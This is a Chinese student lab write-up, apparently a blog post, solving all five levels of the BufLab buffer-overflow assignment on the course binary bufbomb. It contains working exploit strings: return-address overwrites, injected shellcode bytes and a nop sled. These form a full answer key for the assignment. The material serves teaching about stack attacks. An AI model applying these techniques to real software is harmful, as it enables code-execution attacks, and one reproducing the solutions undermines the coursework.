计算机系统实验--BufLab

实验题目

buflab-缓冲实验

实验目的

此任务将帮助您详细了解IA-32调用约定和堆栈组织。它涉及对实验室目录中的可执行文件bufbomb应用一系列缓冲区溢出攻击。

注意:在本实验中,您将获得五种方法的经验,其中一种方法通常用于利用操作系统和网络服务器中的安全弱点。我们的目的是帮助您了解程序的运行时操作,并了解这种形式的安全弱点的性质,以便在编写系统代码时避免这种情况。

实验环境

个人电脑 Windows 家庭中文版、Ubuntu 12.04

实验内容及操作步骤

1.实验要求:
程序运行的开始,我们需要设置注册一个UserId,在这次实验中,结合我的英文名Texas,我的UserId为TexasJiang,cookie为0x73b48b1f。
在这里插入图片描述
不同的UserId会产生不同的实验结果,后面的Level中有需要传递cookie参数的地方,因此,需要格外注意。

2.源程序清单:
Level 0:
这一关的目的是让我们执行getbuf()函数后不返回到test(),而是去执行一个smoke函数。首先根据栈和函数调用的相关性质可以知道,我们需要改变返回地址,将返回地址改为smoke函数的入口就可以执行对应的程序。
在这里插入图片描述
从这里我们可以看出,smoke函数的入口其实是0x8048e0a。调用getbuf函数时,输入字符串的储存位置在%ebp-0x28,结合栈的相关性质可以知道返回地址在%ebp+0x4的地方开始,因此,我们需要输入48个字节,利用多余的字节对栈内元素进行覆盖,从而修改返回地址。

解决方案:
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
0b 8e 04 08

之所以采用0x08048e0b是因为使用0a会导致换行的情况发生,会导致hex2raw的错误运行,这一点在实验手册中有所提及,但是使用0x08048e0b并不影响程序的正常运作,因此,Level 0成功解决。

Level 1:
此关卡要求我们执行getbuf函数后通过修改返回地址fizz函数,并将cookie值作为参数传递给fizz函数。
在这里插入图片描述
从上图可以看出,fizz函数的参数在新栈帧(%ebp + 0x8)的地方,fizz函数的入口为0x8048daf,由于我们需要使用mov %esp,%ebp指令开辟新的栈帧,因此,我们可以知道(亦或说推断),从之前利用getbuf函数修改的返回地址的高4位字节开始的4个字节是fizz的参数传递区。

解决方案:
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
af 8d 04 08 00 00 00 00 1f 8b b4 73

在这里,我们仅通过修改返回地址,从而跳转到fizz函数去执行,这并不是一个call指令调用的函数,因此,计算机内部不会自动地使用push指令,将崭新的返回地址入栈。自此,Level 1成功解决。

Level 2:
这一关要求我们在栈中执行相应的汇编指令,将全局变量设置为我们的cookie值,再去执行bang函数。在这里,我们需要明确,我们尽量不要使用jmp等指令去进行跳转,尽量使用ret指令,这就意味着,我们需要在合适的时机使用push函数与ret进行配合。首先,我们需要获取bang函数的入口信息。
在这里插入图片描述
bang函数的入口地址为0x8048d52,我们需要通过getbuf函数将汇编指令对应的字节值输入进栈中,最后通过跳转回(%ebp – 0x28处)去执行相应指令。因此,我们首先需要确定相应的指令:
我们在这里使用的指令是:

movl $0x0804d10c,%eax
movl $0x73b48b1f,(%eax)
push $0x08048d52
ret

利用gcc -m32 -c Level2.s objdump -d Level2.o > Level2.d得到指令的汇编代码:

0: b8 0c d1 04 08 mov $0x804d10c,%eax
5: c7 00 1f 8b b4 73 movl $0x73b48b1f,(%eax)
b: 68 52 8d 04 08 push $0x8048d52
10: c3 ret

我们需要找到返回地址,及getbuf读取字符串的入口。
在这里插入图片描述
通过gdb调试及断点,我们可以找到字符串入口在0x55683a38,需要注意小端法存储地址,由于指令的顺序本身就是自小到大,所以根据相关特点创建输入文件:
b8 0c d1 04 08 c7 00 1f 8b b4 73
68 52 8d 04 08 c3 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
38 3a 68 55

Level 3:
这一关需要我们去完成的是修改getbuf函数,将cookie值传递给val(这将使得test函数的返回值为我们的cookie),并且我们需要利用getbuf漏洞让函数能够正常地返回test函数,并且继续正常地执行它,这要求我们能够把old ebp保留下来并且能够正常地还原到ebp中(还原旧栈帧)。
在这里插入图片描述
从上图可知:返回test函数的地址为0x8048e50。old ebp与返回地址紧挨,因此只要利用漏洞覆盖的时候保留old ebp的值即可。
在这里插入图片描述
可以看出old ebp的值是0x55683a90。我们还需要确认我们想要执行的汇编指令,与Level 2 操作方式类似,我们可以得到以下汇编指令:

0: b8 1f 8b b4 73 mov $0x73b48b1f,%eax
5: 68 50 8e 04 08 push $0x8048e50
a: c3 ret

我们将以上内容进行汇总,得到覆盖的漏洞字符串字节:

b8 1f 8b b4 73 68 50 8e 04 08 c3
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 90 3a 68 55
38 3a 68 55

Level 4:
前面4关在调用getbuf函数的时候栈的位置是固定的,即没有启动随机化,这一关我们需要使用-n参数调用getbufn函数。其缓冲区大小为512字节,且每次栈的位置都会随机化变化。其余要求与Level 3类似。

getbufn函数%ebp:
在这里插入图片描述
testn函数%ebp:
在这里插入图片描述
testn函数调用getbufn后的返回地址:
在这里插入图片描述
经过5次反复实验,结合以上截图可以归纳出以下规律:
(1) 返回地址固定:0x08048ce2;
(2) getbufn的%ebp值比old ebp(test函数的)小0x30。在getbufn执行完ret后%esp-0x8的值就是getbufn的%ebp的值,综上所示,此时test函数的ebp应为此时的esp+0x28。
我们需要确定在栈中执行的汇编指令。
0: 8d 6c 24 28 lea 0x28(%esp),%ebp
4: b8 1f 8b b4 73 mov $0x73b48b1f,%eax
9: 68 e2 8c 04 08 push $0x8048ce2
e: c3 ret
根据实验说明书的相关提示,字符串前指令序列的字节都设置成nop(0x90),形成“nop sled”。一共有528个字节,最后4个字节为0x55 0x68 0x38 0xb8(未按照小端表示)。这里表示的是字符串可能存放的最高地址。

解决方案:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 8d
6c 24 28 b8 1f 8b b4 73 68 e2
8c 04 08 c3 b8 38 68 55

3.预期结果:
测试结果全部正确。

4.上机调试结果:
Level 0:
在这里插入图片描述
Level 1:
在这里插入图片描述
Level 2:
在这里插入图片描述
Level 3:
在这里插入图片描述
Level 4:
在这里插入图片描述

实验结果及分析

(1) ./bufbomb -u TexasJiang < Candle-raw.txt -s。结果正确。
(2) ./bufbomb -u TexasJiang < Sparkler-raw.txt -s。结果正确。
(3) ./bufbomb -u TexasJiang < Firecracker-raw.txt -s。结果正确。
(4) ./bufbomb -u TexasJiang < Dynamite-raw.txt -s。结果正确。
(5) ./bufbomb -n -u TexasJiang < Nitroglycerin-raw.txt -s。结果正确。

  • 2
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Buflab 实验是针对缓冲区溢出漏洞的一个实验,主要包括以下 5 个实验: 1. Phase 1: Buffer Overflow Basics 这个实验旨在让学生了解基本的缓冲区溢出漏洞,并通过编写一个简单的程序来利用这个漏洞。具体步骤如下: - 理解 buffer overflow 的基本原理和机制; - 阅读并分析提供的代码; - 利用编译器提供的工具来探测和分析漏洞; - 编写一个攻击程序,利用漏洞覆盖指令指针,执行指定的代码。 2. Phase 2: Code Injection 这个实验旨在让学生进一步学习如何利用缓冲区溢出漏洞,将恶意代码注入到受害者程序中。具体步骤如下: - 理解代码注入的原理和机制; - 阅读并分析提供的代码; - 利用编译器提供的工具来探测和分析漏洞; - 编写一个攻击程序,利用漏洞将恶意代码注入到目标程序中。 3. Phase 3: Return-Oriented Programming 这个实验旨在让学生学习如何利用 Return-Oriented Programming (ROP) 技术,绕过缓冲区溢出漏洞的防御机制。具体步骤如下: - 理解 ROP 的原理和机制; - 阅读并分析提供的代码; - 利用编译器提供的工具来探测和分析漏洞; - 编写一个攻击程序,利用 ROP 技术绕过目标程序的防御机制。 4. Phase 4: Heap Overflow 这个实验旨在让学生学习如何利用堆溢出漏洞,从而攻击堆管理程序。具体步骤如下: - 理解堆溢出漏洞的原理和机制; - 阅读并分析提供的代码; - 利用编译器提供的工具来探测和分析漏洞; - 编写一个攻击程序,利用堆溢出漏洞攻击堆管理程序。 5. Phase 5: Format String Vulnerability 这个实验旨在让学生学习如何利用格式化字符串漏洞,从而攻击受害者程序。具体步骤如下: - 理解格式化字符串漏洞的原理和机制; - 阅读并分析提供的代码; - 利用编译器提供的工具来探测和分析漏洞; - 编写一个攻击程序,利用格式化字符串漏洞攻击受害者程序。 以上就是 Buflab 实验每个实验的大致步骤,希望对你有所帮助。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值